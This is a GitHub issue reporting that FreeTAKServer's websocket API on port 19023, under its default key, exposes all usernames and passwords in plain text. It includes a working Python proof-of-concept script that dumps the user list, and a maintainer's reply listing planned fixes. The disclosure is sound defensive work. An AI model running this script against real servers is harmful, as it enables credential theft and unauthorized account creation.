FreeTAKTeam / UI

FreeTAKServer Web User Interface project
MIT License
30 stars 27 forks source link

Security vulnerability exposes passwords to unauthorized users in plain text #75

Open brian7704 opened 1 month ago

brian7704 commented 1 month ago

Hi guys,

I was checking out the websocket API on my server and found a vulnerability. This vulnerability allows an unauthorized user that can access port 19023 on a FreeTAKServer with the default configuration to see all the usernames and passwords on that server in plain text. An attacker could also add a user for themselves or do anything else documented in the websocket API. This vulnerability is caused by a few issues

This vulnerability can be partially mitigated by changing FTS_WEBSOCKET_KEY in /opt/FTSConfig.yml and WEBSOCKETKEY in the UI's config.py. However this would only prevent unauthorized users from seeing passwords in plain text. Authorized users would still be able to see each other's passwords.

Below is a proof of concept script which has been tested and confirmed working on all versions from at least 2.0.21 from March 2023 up to the current version. Older versions may also be affected. The requirements to run this script against an FTS server with version 2.1.3 and older are

pip3 install python-socketio==4.6.0
pip3 install python-engineio==3.13.2
pip3 install socketio

And for FTS servers 2.1.4.5 and up

pip3 install python-socketio -U
pip3 install python-engineio -U
pip3 install socketio

To run the script you must specify your FTS server's address, for example

python3 vulnerability_script.py localhost
import socketio
import sys

sio = socketio.Client()

@sio.event
def connect():
    print('connection established')
    sio.emit("authenticate", '{"Authenticate": "YourWebsocketKey"}')

@sio.event
def userUpdate(data):
    print(data)
    sio.disconnect()

@sio.event
def systemUsersUpdate(data):
    print(data)
    sio.emit("users")

@sio.event
def authentication(data):
    print("Authentication successful")
    sio.emit("systemUsers")

@sio.event
def disconnect():
    print('disconnected from server')

sio.connect('http://' + sys.argv[1] + ':19023')
sio.wait()
brothercorvo commented 4 weeks ago

@brian7704 thank you to point this out. we are going to take the following measures:

  1. encrypt the password in the DB
  2. generate a random websocketkey
  3. implement https for all the relevant APIs